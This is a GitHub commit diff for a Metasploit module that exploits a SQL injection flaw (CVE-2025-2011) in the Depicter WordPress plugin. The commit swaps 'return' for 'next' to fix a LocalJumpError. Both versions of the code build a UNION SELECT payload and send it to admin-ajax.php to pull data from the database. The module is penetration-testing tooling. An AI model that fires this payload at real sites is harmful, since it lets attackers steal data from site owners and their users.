Skip to content

Commit 869ed8d

Browse files
committed
fix: replace return with next in get_sqli_object to prevent LocalJumpError
1 parent 60a6658 commit 869ed8d

File tree

1 file changed

+15
-16
lines changed

1 file changed

+15
-16
lines changed

modules/auxiliary/gather/wp_depicter_sqli_cve_2025_2011.rb

Lines changed: 15 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -60,27 +60,26 @@ def get_sqli_object
6060
r1, r2, r3, r4, r5 = Array.new(5) { rand(1000..9999) }
6161
injected = "#{r1}') UNION SELECT #{r2},#{r3},(#{expr}),#{r4},#{r5}-- -"
6262

63-
endpoint = normalize_uri('wp-admin', 'admin-ajax.php')
64-
params = {
65-
'action' => 'depicter-lead-index',
66-
's' => injected,
67-
'perpage' => rand(10..50).to_s,
68-
'page' => rand(1..3).to_s,
69-
'orderBy' => 'source_id',
70-
'order' => ['ASC', 'DESC'].sample,
71-
'dateStart' => '',
72-
'dateEnd' => '',
73-
'sources' => ''
74-
}
7563
res = send_request_cgi(
7664
'method' => 'GET',
77-
'uri' => endpoint,
78-
'vars_get' => params
65+
'uri' => normalize_uri('wp-admin', 'admin-ajax.php'),
66+
'vars_get' => {
67+
'action' => 'depicter-lead-index',
68+
's' => injected,
69+
'perpage' => rand(10..50).to_s,
70+
'page' => rand(1..3).to_s,
71+
'orderBy' => 'source_id',
72+
'order' => ['ASC', 'DESC'].sample,
73+
'dateStart' => '',
74+
'dateEnd' => '',
75+
'sources' => ''
76+
}
7977
)
80-
return GET_SQLI_OBJECT_FAILED_ERROR_MSG unless res&.code == 200
78+
79+
next GET_SQLI_OBJECT_FAILED_ERROR_MSG unless res&.code == 200
8180

8281
extracted = res.get_json_document.dig('hits', 0, 'content', 'id')
83-
return GET_SQLI_OBJECT_FAILED_ERROR_MSG if extracted.to_s.empty?
82+
next GET_SQLI_OBJECT_FAILED_ERROR_MSG if extracted.to_s.empty?
8483

8584
extracted
8685
end

0 commit comments

Comments
 (0)